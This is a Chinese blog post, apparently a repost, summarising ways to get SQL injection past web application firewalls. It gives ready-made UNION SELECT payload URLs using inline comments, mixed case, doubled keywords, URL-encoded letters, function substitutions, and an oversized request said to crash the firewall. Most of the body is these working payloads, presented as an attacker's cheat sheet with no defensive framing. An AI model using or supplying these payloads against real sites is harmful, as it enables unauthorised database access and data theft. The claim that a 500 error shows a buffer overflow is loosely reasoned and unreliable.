zoukankan      html  css  js  c++  java
  • WAF绕过小结

    WAF介绍

    什么是WAF?

    Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    基本/简单绕过方法:

    1、注释符

    http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

    2、使用大小写

    http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

    3、结合前面两种方法

    http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

    4、关键字替换

    http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

    此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

    5、内部注释

    http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

    U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

    高级绕过方法:

    1、缓冲区溢出/使防火墙崩溃

    大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

    http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

    你可以使用如下方法测试WAF

    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

    如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

    2、对字母进行编码

    http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

    3、使用其他变量或者命令对注入语句进行替换

    COMMAND | WHAT TO USE INSTEAD

    @@version | version()

    concat() | concat_ws()

    group_concat() | concat_ws()

    4、利用WAF本身的功能绕过

    假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

    ‍‍‍‍‍‍‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

    其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)‍

  • 相关阅读:
    linux下编译sphinx拓展
    Java为什么使用连接池
    内部类之.this&&.new
    何为代理
    Qt install Phonon
    Gcc简介与常用命令
    Vim的设置和使用——编程者
    QT程序启动界面的使用
    slide from one widget to another
    Hide the common top menu in Ubuntu 12.04
  • 原文地址:https://www.cnblogs.com/milantgh/p/4374747.html
Copyright © 2011-2022 走看看